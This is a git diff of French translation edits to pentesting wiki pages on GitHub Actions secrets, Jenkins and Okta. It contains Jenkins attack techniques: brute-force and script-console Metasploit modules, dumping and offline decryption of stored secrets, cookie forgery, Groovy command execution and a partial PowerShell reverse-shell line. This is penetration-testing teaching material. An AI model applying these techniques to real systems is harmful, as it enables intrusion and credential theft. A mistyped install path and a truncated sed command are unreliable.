@@ -168,13 +168,13 @@ run: |
 example-command "$SUPER_SECRET"
 ```
 > [!WARNING]
-> Les secrets **ne peuvent être accessibles que depuis les Github Actions** qui les ont déclarés.
+> Les secrets **ne peuvent être accédés que depuis les Github Actions** qui les ont déclarés.
 
-> Une fois configurés dans le dépôt ou les organisations, **les utilisateurs de github ne pourront plus y accéder**, ils pourront seulement **les modifier**.
+> Une fois configurés dans le dépôt ou les organisations, **les utilisateurs de github ne pourront plus y accéder**, ils ne pourront que **les modifier**.
 
-Par conséquent, la **seule façon de voler les secrets github est de pouvoir accéder à la machine qui exécute l'Action Github** (dans ce scénario, vous ne pourrez accéder qu'aux secrets déclarés pour l'Action).
+Par conséquent, la **seule façon de voler des secrets github est de pouvoir accéder à la machine qui exécute l'Action Github** (dans ce scénario, vous ne pourrez accéder qu'aux secrets déclarés pour l'Action).
 
-### Environnements Git
+### Git Environments
 
 Github permet de créer **des environnements** où vous pouvez enregistrer **des secrets**. Ensuite, vous pouvez donner à l'action github l'accès aux secrets à l'intérieur de l'environnement avec quelque chose comme :
 ```yaml
@@ -198,11 +198,11 @@ La façon de trouver quelles **actions Github sont exécutées dans une infrastr
 
 Il est **impossible d'exécuter une action Github d'une organisation à l'intérieur d'une boîte auto-hébergée** d'une autre organisation car **un jeton unique est généré pour le Runner** lors de sa configuration pour savoir à quelle organisation le runner appartient.
 
-Si le **Github Runner personnalisé est configuré sur une machine à l'intérieur d'AWS ou de GCP**, par exemple, l'action **pourrait avoir accès à l'endpoint de métadonnées** et **voler le jeton du compte de service** avec lequel la machine fonctionne.
+Si le **Github Runner personnalisé est configuré sur une machine à l'intérieur d'AWS ou de GCP**, par exemple, l'action **pourrait avoir accès au point de terminaison des métadonnées** et **voler le jeton du compte de service** avec lequel la machine fonctionne.
 
 ### Compromission de l'Action Git
 
-Si toutes les actions (ou une action malveillante) sont autorisées, un utilisateur pourrait utiliser une **action Github** qui est **malveillante** et qui va **compromettre** le **conteneur** où elle est exécutée.
+Si toutes les actions (ou une action malveillante) sont autorisées, un utilisateur pourrait utiliser une **action Github** qui est **malveillante** et qui **compromettra** le **conteneur** où elle est exécutée.
 
 > [!CAUTION]
 > Une **action Github malveillante** exécutée pourrait être **abusée** par l'attaquant pour :
@@ -231,9 +231,9 @@ Différentes protections peuvent être appliquées à une branche (comme à mast
 - **Exiger que les vérifications de statut réussissent avant de fusionner.** Certaines vérifications doivent réussir avant de pouvoir fusionner le commit (comme une action github vérifiant qu'il n'y a pas de secret en clair).
 - **Exiger la résolution des conversations avant de fusionner**. Tous les commentaires sur le code doivent être résolus avant que la PR puisse être fusionnée.
 - **Exiger des commits signés**. Les commits doivent être signés.
-- **Exiger une histoire linéaire.** Empêcher les commits de fusion d'être poussés vers des branches correspondantes.
+- **Exiger une histoire linéaire.** Empêcher les commits de fusion d'être poussés vers les branches correspondantes.
 - **Inclure les administrateurs**. Si cela n'est pas défini, les administrateurs peuvent contourner les restrictions.
-- **Restreindre qui peut pousser vers des branches correspondantes**. Restreindre qui peut envoyer une PR.
+- **Restreindre qui peut pousser vers les branches correspondantes**. Restreindre qui peut envoyer une PR.
 
 > [!NOTE]
 > Comme vous pouvez le voir, même si vous parvenez à obtenir des identifiants d'un utilisateur, **les dépôts peuvent être protégés vous empêchant de pousser du code sur master** par exemple pour compromettre le pipeline CI/CD.
diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md
index 21cfc56fe..f8945fbde 100644
--- a/src/pentesting-ci-cd/jenkins-security/README.md
+++ b/src/pentesting-ci-cd/jenkins-security/README.md
@@ -1,10 +1,10 @@
-# Jenkins Security
+# Sécurité de Jenkins
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Informations de base
 
-Jenkins est un outil qui offre une méthode simple pour établir un **environnement d'intégration continue** ou de **livraison continue** (CI/CD) pour presque **n'importe quelle** combinaison de **langages de programmation** et de dépôts de code source en utilisant des pipelines. De plus, il automatise diverses tâches de développement routinières. Bien que Jenkins n'élimine pas le **besoin de créer des scripts pour des étapes individuelles**, il fournit un moyen plus rapide et plus robuste d'intégrer l'ensemble de la séquence d'outils de construction, de test et de déploiement que ce que l'on peut facilement construire manuellement.
+Jenkins est un outil qui offre une méthode simple pour établir un environnement de **continuous integration** ou **continuous delivery** (CI/CD) pour presque **n'importe quelle** combinaison de **langages de programmation** et de dépôts de code source en utilisant des pipelines. De plus, il automatise diverses tâches de développement routinières. Bien que Jenkins n'élimine pas le **besoin de créer des scripts pour des étapes individuelles**, il fournit un moyen plus rapide et plus robuste d'intégrer l'ensemble de la séquence d'outils de construction, de test et de déploiement que ce que l'on peut facilement construire manuellement.
 
 {{#ref}}
 basic-jenkins-information.md
@@ -50,7 +50,7 @@ De plus, si la **fonctionnalité**/**plugins** **SSO** étaient présents, vous
 
 ### Bruteforce
 
-**Jenkins** manque de **politique de mot de passe** et de **mitigation de bruteforce de nom d'utilisateur**. Il est essentiel de **bruteforcer** les utilisateurs puisque des **mots de passe faibles** ou des **noms d'utilisateur comme mots de passe** peuvent être utilisés, même des **noms d'utilisateur inversés comme mots de passe**.
+**Jenkins** manque de **politique de mot de passe** et de **mitigation de bruteforce des noms d'utilisateur**. Il est essentiel de **bruteforcer** les utilisateurs puisque des **mots de passe faibles** ou des **noms d'utilisateur comme mots de passe** peuvent être utilisés, même des **noms d'utilisateur inversés comme mots de passe**.
 ```
 msf> use auxiliary/scanner/http/jenkins_login
 ```
@@ -60,7 +60,7 @@ Utilisez [ce script python](https://github.com/gquere/pwn_jenkins/blob/master/pa
 
 ### Contournement de la liste blanche IP
 
-De nombreuses organisations combinent des **systèmes de gestion de code source (SCM) basés sur le SaaS** tels que GitHub ou GitLab avec une **solution CI interne auto-hébergée** comme Jenkins ou TeamCity. Cette configuration permet aux systèmes CI de **recevoir des événements webhook des fournisseurs de contrôle de source SaaS**, principalement pour déclencher des travaux de pipeline.
+De nombreuses organisations combinent des **systèmes de gestion de code source (SCM) basés sur SaaS** tels que GitHub ou GitLab avec une **solution CI interne auto-hébergée** comme Jenkins ou TeamCity. Cette configuration permet aux systèmes CI de **recevoir des événements webhook des fournisseurs de contrôle de source SaaS**, principalement pour déclencher des travaux de pipeline.
 
 Pour ce faire, les organisations **mettent sur liste blanche** les **plages IP** des **plateformes SCM**, leur permettant d'accéder au **système CI interne** via des **webhooks**. Cependant, il est important de noter que **quiconque** peut créer un **compte** sur GitHub ou GitLab et le configurer pour **déclencher un webhook**, envoyant potentiellement des requêtes au **système CI interne**.
 
@@ -85,23 +85,23 @@ Si vous avez accédé à Jenkins, vous pouvez lister d'autres utilisateurs enreg
 
 ### Dumping des builds pour trouver des secrets en clair
 
-Utilisez [ce script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) pour extraire les sorties de console des builds et les variables d'environnement des builds afin de trouver, espérons-le, des secrets en clair.
+Utilisez [ce script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) pour extraire les sorties de console des builds et les variables d'environnement des builds afin de trouver des secrets en clair.
 ```bash
 python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
 cd build_dumps
 gitleaks detect --no-git -v
 ```
-### **Vol de crédentiels SSH**
+### **Vol de Credentials SSH**
 
-Si l'utilisateur compromis a **suffisamment de privilèges pour créer/modifier un nouveau nœud Jenkins** et que les crédentiels SSH sont déjà stockés pour accéder à d'autres nœuds, il pourrait **voler ces crédentiels** en créant/modifiant un nœud et **en définissant un hôte qui enregistrera les crédentiels** sans vérifier la clé de l'hôte :
+Si l'utilisateur compromis a **suffisamment de privilèges pour créer/modifier un nouveau nœud Jenkins** et que les credentials SSH sont déjà stockés pour accéder à d'autres nœuds, il pourrait **voler ces credentials** en créant/modifiant un nœud et en **définissant un hôte qui enregistrera les credentials** sans vérifier la clé de l'hôte :
 
 ![](<../../images/image (218).png>)
 
-Vous trouverez généralement les crédentiels ssh de Jenkins dans un **fournisseur global** (`/credentials/`), vous pouvez donc également les extraire comme vous le feriez pour tout autre secret. Plus d'informations dans la [**section Extraction de secrets**](./#dumping-secrets).
+Vous trouverez généralement les credentials ssh de Jenkins dans un **fournisseur global** (`/credentials/`), vous pouvez donc également les extraire comme vous le feriez pour tout autre secret. Plus d'informations dans la [**section Extraction de secrets**](./#dumping-secrets).
 
 ### **RCE dans Jenkins**
 
-Obtenir un **shell sur le serveur Jenkins** donne à l'attaquant l'opportunité de divulguer tous les **secrets** et **variables d'environnement** et d'**exploiter d'autres machines** situées dans le même réseau ou même de **rassembler des crédentiels cloud**.
+Obtenir un **shell sur le serveur Jenkins** donne à l'attaquant l'opportunité de divulguer tous les **secrets** et **variables d'environnement** et d'**exploiter d'autres machines** situées sur le même réseau ou même de **rassembler des credentials cloud**.
 
 Par défaut, Jenkins s'exécute **en tant que SYSTEM**. Donc, le compromettre donnera à l'attaquant **des privilèges SYSTEM**.
 
@@ -115,7 +115,7 @@ jenkins-rce-creating-modifying-project.md
 
 ### **RCE Exécution de script Groovy**
 
-Vous pouvez également obtenir RCE en exécutant un script Groovy, qui pourrait être plus furtif que de créer un nouveau projet :
+Vous pouvez également obtenir RCE en exécutant un script Groovy, qui pourrait être plus discret que de créer un nouveau projet :
 
 {{#ref}}
 jenkins-rce-with-groovy-script.md
@@ -135,11 +135,11 @@ Pour exploiter les pipelines, vous devez toujours avoir accès à Jenkins.
 
 ### Pipelines de Construction
 
-Les **pipelines** peuvent également être utilisés comme **mécanisme de construction dans les projets**, dans ce cas, il peut être configuré un **fichier à l'intérieur du dépôt** qui contiendra la syntaxe du pipeline. Par défaut, `/Jenkinsfile` est utilisé :
+Les **pipelines** peuvent également être utilisés comme **mécanisme de construction dans les projets**, dans ce cas, un **fichier à l'intérieur du dépôt** peut être configuré pour contenir la syntaxe du pipeline. Par défaut, `/Jenkinsfile` est utilisé :
 
 ![](<../../images/image (127).png>)
 
-Il est également possible de **stocker des fichiers de configuration de pipeline à d'autres endroits** (dans d'autres dépôts par exemple) dans le but de **séparer** l'**accès** au dépôt et l'accès au pipeline.
+Il est également possible de **stocker des fichiers de configuration de pipeline à d'autres endroits** (dans d'autres dépôts par exemple) dans le but de **séparer** l'accès au dépôt et l'accès au pipeline.
 
 Si un attaquant a **un accès en écriture sur ce fichier**, il pourra **le modifier** et **potentiellement déclencher** le pipeline sans même avoir accès à Jenkins.\
 Il est possible que l'attaquant doive **contourner certaines protections de branche** (selon la plateforme et les privilèges de l'utilisateur, elles pourraient être contournées ou non).
@@ -219,12 +219,12 @@ env
 À la fin de cette page, vous pouvez **trouver tous les types de credentials** : [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
 
 > [!WARNING]
-> La meilleure façon de **dump all the secrets at once** est de **compromettre** la machine **Jenkins** (en exécutant un reverse shell dans le **nœud intégré**, par exemple) et ensuite **leaker** les **master keys** et les **encrypted secrets** et de les déchiffrer hors ligne.\
+> La meilleure façon de **vider tous les secrets en une seule fois** est de **compromettre** la machine **Jenkins** (en exécutant un reverse shell dans le **nœud intégré**, par exemple) et ensuite **fuir** les **clés maîtresses** et les **secrets chiffrés** et de les déchiffrer hors ligne.\
 > Plus d'informations sur la façon de faire cela dans la [section Nodes & Agents](./#nodes-and-agents) et dans la [section Post Exploitation](./#post-exploitation).
 
-### Triggers
+### Déclencheurs
 
-D'après [la documentation](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers) : La directive `triggers` définit les **manières automatisées dont le Pipeline doit être re-déclenché**. Pour les Pipelines qui sont intégrés avec une source telle que GitHub ou BitBucket, `triggers` peut ne pas être nécessaire car une intégration basée sur des webhooks sera probablement déjà présente. Les triggers actuellement disponibles sont `cron`, `pollSCM` et `upstream`.
+D'après [la documentation](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers) : La directive `triggers` définit les **modes automatisés par lesquels le Pipeline doit être relancé**. Pour les Pipelines qui sont intégrés avec une source telle que GitHub ou BitBucket, `triggers` peut ne pas être nécessaire car une intégration basée sur des webhooks sera probablement déjà présente. Les déclencheurs actuellement disponibles sont `cron`, `pollSCM` et `upstream`.
 
 Exemple de Cron :
 ```bash
@@ -242,7 +242,7 @@ Pour plus d'informations, consultez les informations de base :
 basic-jenkins-information.md
 {{#endref}}
 
-Vous pouvez énumérer les **nœuds configurés** dans `/computer/`, vous trouverez généralement le \*\*`Nœud intégré` \*\* (qui est le nœud exécutant Jenkins) et potentiellement plus :
+Vous pouvez énumérer les **nœuds configurés** dans `/computer/`, vous trouverez généralement le \*\*`Nœud Intégré` \*\* (qui est le nœud exécutant Jenkins) et potentiellement plus :
 
 ![](<../../images/image (249).png>)
 
@@ -312,7 +312,7 @@ jenkins-rce-creating-modifying-pipeline.md
 ```
 msf> post/multi/gather/jenkins_gather
 ```
-### Jenkins Secrets
+### Secrets Jenkins
 
 Vous pouvez lister les secrets en accédant à `/credentials/` si vous avez suffisamment de permissions. Notez que cela ne listera que les secrets à l'intérieur du fichier `credentials.xml`, mais **les fichiers de configuration de build** peuvent également contenir **plus de credentials**.
 
@@ -320,13 +320,13 @@ Si vous pouvez **voir la configuration de chaque projet**, vous pouvez égalemen
 
 ![](<../../images/image (180).png>)
 
-#### From Groovy
+#### Depuis Groovy
 
 {{#ref}}
 jenkins-dumping-secrets-from-groovy.md
 {{#endref}}
 
-#### From disk
+#### Depuis le disque
 
 Ces fichiers sont nécessaires pour **décrypter les secrets Jenkins** :
 
@@ -351,7 +351,7 @@ credentials.xml: {AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOm
 ```
 #### Décrypter les secrets Jenkins hors ligne
 
-Si vous avez extrait les **mots de passe nécessaires pour déchiffrer les secrets**, utilisez [**ce script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **pour déchiffrer ces secrets**.
+Si vous avez extrait **les mots de passe nécessaires pour déchiffrer les secrets**, utilisez [**ce script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **pour déchiffrer ces secrets**.
 ```bash
 python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
 06165DF2-C047-4402-8CAB-1C8EC526C115
@@ -365,7 +365,7 @@ println(hudson.util.Secret.decrypt("{...}"))
 ```
 ### Créer un nouvel utilisateur administrateur
 
-1. Accédez au fichier Jenkins config.xml dans `/var/lib/jenkins/config.xml` ou `C:\Program Files (x86)\Jenkins\`
+1. Accédez au fichier Jenkins config.xml dans `/var/lib/jenkins/config.xml` ou `C:\Program Files (x86)\Jenkis\`
 2. Recherchez le mot `true` et changez le mot **`true`** en **`false`**.
 1. `sed -i -e 's/truefalse)
@@ -45,7 +45,7 @@ Dans `/configureSecurity`, il est possible de **configurer le royaume de sécuri
 - **Déléguer au conteneur de servlets** : Pour **déléguer l'authentification à un conteneur de servlets exécutant le contrôleur Jenkins**, tel que [Jetty](https://www.eclipse.org/jetty/).
 - **Base de données utilisateur propre à Jenkins :** Utilisez **le magasin de données utilisateur intégré de Jenkins** pour l'authentification au lieu de déléguer à un système externe. Cela est activé par défaut.
 - **LDAP** : Déléguer toute l'authentification à un serveur LDAP configuré, y compris les utilisateurs et les groupes.
-- **Base de données utilisateur/groupe Unix** : **Délègue l'authentification à la base de données utilisateur au niveau du système d'exploitation Unix** sur le contrôleur Jenkins. Ce mode permettra également la réutilisation des groupes Unix pour l'autorisation.
+- **Base de données utilisateur/groupe Unix** : **Délègue l'authentification à la base de données utilisateur au niveau du système d'exploitation Unix sous-jacent sur le contrôleur Jenkins.** Ce mode permettra également la réutilisation des groupes Unix pour l'autorisation.
 
 Les plugins peuvent fournir des royaumes de sécurité supplémentaires qui peuvent être utiles pour intégrer Jenkins dans des systèmes d'identité existants, tels que :
 
@@ -67,7 +67,7 @@ Un **exécuteur** est un **emplacement pour l'exécution des tâches** ; en effe
 
 ### Chiffrement des secrets et des identifiants
 
-Définition des [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials) : Jenkins utilise **AES pour chiffrer et protéger les secrets**, les identifiants et leurs clés de chiffrement respectives. Ces clés de chiffrement sont stockées dans `$JENKINS_HOME/secrets/` avec la clé maître utilisée pour protéger ces clés. Ce répertoire doit être configuré de sorte que seul l'utilisateur du système d'exploitation sous lequel le contrôleur Jenkins s'exécute ait un accès en lecture et en écriture à ce répertoire (c'est-à-dire, une valeur `chmod` de `0700` ou en utilisant des attributs de fichier appropriés). La **clé maître** (parfois appelée "clé de chiffrement" dans le jargon cryptographique) est **stockée \_non chiffrée\_** sur le système de fichiers du contrôleur Jenkins dans **`$JENKINS_HOME/secrets/master.key`** ce qui ne protège pas contre les attaquants ayant un accès direct à ce fichier. La plupart des utilisateurs et des développeurs utiliseront ces clés de chiffrement indirectement via soit l'API [Secret](https://javadoc.jenkins.io/byShortName/Secret) pour chiffrer des données secrètes génériques ou via l'API des identifiants. Pour les curieux de cryptographie, Jenkins utilise AES en mode de chaînage de blocs (CBC) avec un remplissage PKCS#5 et des IV aléatoires pour chiffrer des instances de [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) qui sont stockées dans `$JENKINS_HOME/secrets/` avec un nom de fichier correspondant à leur identifiant `CryptoConfidentialKey`. Les identifiants de clé courants incluent :
+Définition des [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials) : Jenkins utilise **AES pour chiffrer et protéger les secrets**, les identifiants et leurs clés de chiffrement respectives. Ces clés de chiffrement sont stockées dans `$JENKINS_HOME/secrets/` avec la clé maître utilisée pour protéger ces clés. Ce répertoire doit être configuré de sorte que seul l'utilisateur du système d'exploitation sous lequel le contrôleur Jenkins s'exécute ait un accès en lecture et en écriture à ce répertoire (c'est-à-dire, une valeur `chmod` de `0700` ou en utilisant des attributs de fichier appropriés). La **clé maître** (parfois appelée "clé de chiffrement" dans le jargon cryptographique) est **stockée \_non chiffrée\_** sur le système de fichiers du contrôleur Jenkins dans **`$JENKINS_HOME/secrets/master.key`** ce qui ne protège pas contre les attaquants ayant un accès direct à ce fichier. La plupart des utilisateurs et des développeurs utiliseront ces clés de chiffrement indirectement via soit l'API [Secret](https://javadoc.jenkins.io/byShortName/Secret) pour chiffrer des données secrètes génériques ou via l'API des identifiants. Pour les curieux de cryptographie, Jenkins utilise AES en mode de chaînage de blocs (CBC) avec un remplissage PKCS#5 et des IV aléatoires pour chiffrer des instances de [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) qui sont stockées dans `$JENKINS_HOME/secrets/` avec un nom de fichier correspondant à leur id `CryptoConfidentialKey`. Les ids de clé courants incluent :
 
 - `hudson.util.Secret` : utilisé pour des secrets génériques ;
 - `com.cloudbees.plugins.credentials.SecretBytes.KEY` : utilisé pour certains types d'identifiants ;
@@ -75,7 +75,7 @@ Définition des [docs](https://www.jenkins.io/doc/developer/security/secrets/#en
 
 ### Accès aux identifiants
 
-Les identifiants peuvent être **étendus à des fournisseurs globaux** (`/credentials/`) qui peuvent être accessibles par tout projet configuré, ou peuvent être étendus à **des projets spécifiques** (`/job//configure`) et donc uniquement accessibles depuis le projet spécifique.
+Les identifiants peuvent être **étendus aux fournisseurs globaux** (`/credentials/`) qui peuvent être accessibles par tout projet configuré, ou peuvent être étendus à **des projets spécifiques** (`/job//configure`) et donc uniquement accessibles depuis le projet spécifique.
 
 Selon [**les docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/) : Les identifiants qui sont dans le champ d'application sont mis à disposition du pipeline sans limitation. Pour **prévenir une exposition accidentelle dans le journal de construction**, les identifiants sont **masqués** de la sortie régulière, donc une invocation de `env` (Linux) ou `set` (Windows), ou des programmes imprimant leur environnement ou leurs paramètres ne **révèleraient pas ces identifiants dans le journal de construction** aux utilisateurs qui n'auraient pas autrement accès aux identifiants.
 
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
index 89af64bf6..d774bfcb8 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -4,13 +4,13 @@
 
 Dans cet article de blog, il est possible de trouver un excellent moyen de transformer une vulnérabilité d'inclusion de fichier local dans Jenkins en RCE : [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
 
-Ceci est un résumé créé par IA de la partie de l'article où la création d'un cookie arbitraire est exploitée pour obtenir RCE en abusant d'une lecture de fichier local jusqu'à ce que j'aie le temps de créer un résumé moi-même :
+Ceci est un résumé créé par IA de la partie de l'article où la création d'un cookie arbitraire est exploitée pour obtenir RCE en abusant d'une lecture de fichier local jusqu'à ce que j'ai le temps de créer un résumé moi-même :
 
 ### Prérequis à l'attaque
 
 - **Exigence de fonctionnalité :** "Se souvenir de moi" doit être activé (paramètre par défaut).
 - **Niveaux d'accès :** L'attaquant a besoin de permissions Globales/Lecture.
-- **Accès secret :** Capacité à lire à la fois le contenu binaire et textuel de fichiers clés.
+- **Accès secret :** Capacité à lire à la fois le contenu binaire et textuel à partir de fichiers clés.
 
 ### Processus d'exploitation détaillé
 
@@ -31,17 +31,17 @@ Ceci est un résumé créé par IA de la partie de l'article où la création d'
 - **Clé maître :** `$JENKINS_HOME/secrets/master.key`
 - **Fichier de clé MAC :** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
 
-#### Étape 2 : Forgement de cookie
+#### Étape 2 : Forging de cookie
 
-**Préparation du jeton**
+**Préparation du token**
 
-- **Calculer le temps d'expiration du jeton :**
+- **Calculer le temps d'expiration du token :**
 
 ```javascript
 tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Ajoute une heure au temps actuel
 ```
 
-- **Concaténer les données pour le jeton :**
+- **Concaténer les données pour le token :**
 
 ```javascript
 token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
@@ -64,7 +64,7 @@ macKey = decrypted.withoutSuffix("::::MAGIC::::")
 - **Calculer HMAC SHA256 :**
 
 ```javascript
-mac = HmacSHA256(token, macKey) // Calculer HMAC en utilisant le jeton et la clé MAC
+mac = HmacSHA256(token, macKey) // Calculer HMAC en utilisant le token et la clé MAC
 tokenSignature = bytesToHexString(mac) // Convertir la MAC en chaîne hexadécimale
 ```
 
@@ -82,7 +82,7 @@ username + ":" + tokenExpiryTime + ":" + tokenSignature
 
 **Authentification de session**
 
-- **Récupérer les jetons CSRF et de session :**
+- **Récupérer les tokens CSRF et de session :**
 - Faire une requête à `/crumbIssuer/api/json` pour obtenir `Jenkins-Crumb`.
 - Capturer `JSESSIONID` de la réponse, qui sera utilisé en conjonction avec le cookie "se souvenir de moi".
 
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
index dbb6103b3..41099e761 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
@@ -3,9 +3,9 @@
 {{#include ../../banners/hacktricks-training.md}}
 
 > [!WARNING]
-> Notez que ces scripts ne listeront que les secrets à l'intérieur du fichier `credentials.xml`, mais **les fichiers de configuration de build** pourraient également contenir **plus de credentials**.
+> Notez que ces scripts ne listeront que les secrets à l'intérieur du fichier `credentials.xml`, mais les **fichiers de configuration de build** pourraient également contenir **plus de credentials**.
 
-Vous pouvez **dumper tous les secrets de la console de script Groovy** dans `/script` en exécutant ce code.
+Vous pouvez **extraire tous les secrets de la console de script Groovy** dans `/script` en exécutant ce code.
 ```java
 // From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/
 import jenkins.model.*
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
index 1a7ef2bb4..b60e79a6e 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
@@ -1,8 +1,8 @@
-# Jenkins RCE Creating/Modifying Pipeline
+# Jenkins RCE Création/Modification de Pipeline
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Creating a new Pipeline
+## Création d'un nouveau Pipeline
 
 Dans "Nouvel élément" (accessible à `/view/all/newJob`), sélectionnez **Pipeline :**
 
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
index 8c35380d3..9fd4410ee 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
@@ -1,8 +1,8 @@
-# Jenkins RCE Creating/Modifying Project
+# Jenkins RCE Création/Modification de Projet
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Creating a Project
+## Création d'un Projet
 
 Cette méthode est très bruyante car vous devez créer un tout nouveau projet (évidemment, cela ne fonctionnera que si l'utilisateur est autorisé à créer un nouveau projet).
 
@@ -14,7 +14,7 @@ Cette méthode est très bruyante car vous devez créer un tout nouveau projet (
 
 ![](<../../images/image (165).png>)
 
-## Modifying a Project
+## Modification d'un Projet
 
 Allez dans les projets et vérifiez **si vous pouvez configurer l'un d'eux** (cherchez le "bouton Configurer") :
 
@@ -24,13 +24,13 @@ Si vous **ne pouvez pas** voir de **bouton de configuration**, alors vous **ne p
 
 Ou **essayez d'accéder au chemin** `/job//configure` ou `/me/my-views/view/all/job//configure` \_\_ dans chaque projet (exemple : `/job/Project0/configure` ou `/me/my-views/view/all/job/Project0/configure`).
 
-## Execution
+## Exécution
 
 Si vous êtes autorisé à configurer le projet, vous pouvez **le faire exécuter des commandes lorsque la construction est réussie** :
 
 ![](<../../images/image (98).png>)
 
-Cliquez sur **Save** et **build** le projet et votre **commande sera exécutée**.\
-Si vous n'exécutez pas un reverse shell mais une simple commande, vous pouvez **voir la sortie de la commande dans la sortie de la construction**.
+Cliquez sur **Sauvegarder** et **construisez** le projet et votre **commande sera exécutée**.\
+Si vous n'exécutez pas un shell inversé mais une simple commande, vous pouvez **voir la sortie de la commande dans la sortie de la construction**.
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
index 76fd717d1..8b091512f 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
@@ -16,7 +16,7 @@ Vous pouvez exécuter une commande en utilisant : `cmd.exe /c dir`
 
 Dans **linux**, vous pouvez faire : **`"ls /".execute().text`**
 
-Si vous devez utiliser _quotes_ et _single quotes_ à l'intérieur du texte. Vous pouvez utiliser _"""PAYLOAD"""_ (triple guillemets doubles) pour exécuter le payload.
+Si vous devez utiliser _des guillemets_ et _des apostrophes_ à l'intérieur du texte. Vous pouvez utiliser _"""PAYLOAD"""_ (triple guillemet) pour exécuter le payload.
 
 **Un autre script groovy utile** est (remplacez \[INSERT COMMAND]) :
 ```python
@@ -34,7 +34,7 @@ proc.consumeProcessOutput(sout, serr)
 proc.waitForOrKill(1000)
 println "out> $sout err> $serr"
 ```
-### Reverse shell dans Windows
+### Reverse shell sous Windows
 
 Vous pouvez préparer un serveur HTTP avec un PS reverse shell et utiliser Jeking pour le télécharger et l'exécuter :
 ```python
@@ -46,7 +46,7 @@ cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc 
 
 Vous pouvez automatiser ce processus avec [**ce script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
 
-Vous pouvez utiliser MSF pour obtenir un shell inversé :
+Vous pouvez utiliser MSF pour obtenir un reverse shell :
 ```
 msf> use exploit/multi/http/jenkins_script_console
 ```
diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md
index 77b388fb2..a0d8c2b2a 100644
--- a/src/pentesting-ci-cd/okta-security/README.md
+++ b/src/pentesting-ci-cd/okta-security/README.md
@@ -2,82 +2,82 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informations de base
 
-[Okta, Inc.](https://www.okta.com/) est reconnu dans le secteur de la gestion des identités et des accès pour ses solutions logicielles basées sur le cloud. Ces solutions sont conçues pour rationaliser et sécuriser l'authentification des utilisateurs à travers diverses applications modernes. Elles s'adressent non seulement aux entreprises cherchant à protéger leurs données sensibles, mais aussi aux développeurs intéressés par l'intégration de contrôles d'identité dans des applications, des services web et des dispositifs.
+[Okta, Inc.](https://www.okta.com/) est reconnue dans le secteur de la gestion des identités et des accès pour ses solutions logicielles basées sur le cloud. Ces solutions sont conçues pour rationaliser et sécuriser l'authentification des utilisateurs à travers diverses applications modernes. Elles s'adressent non seulement aux entreprises cherchant à protéger leurs données sensibles, mais aussi aux développeurs intéressés par l'intégration de contrôles d'identité dans des applications, des services web et des appareils.
 
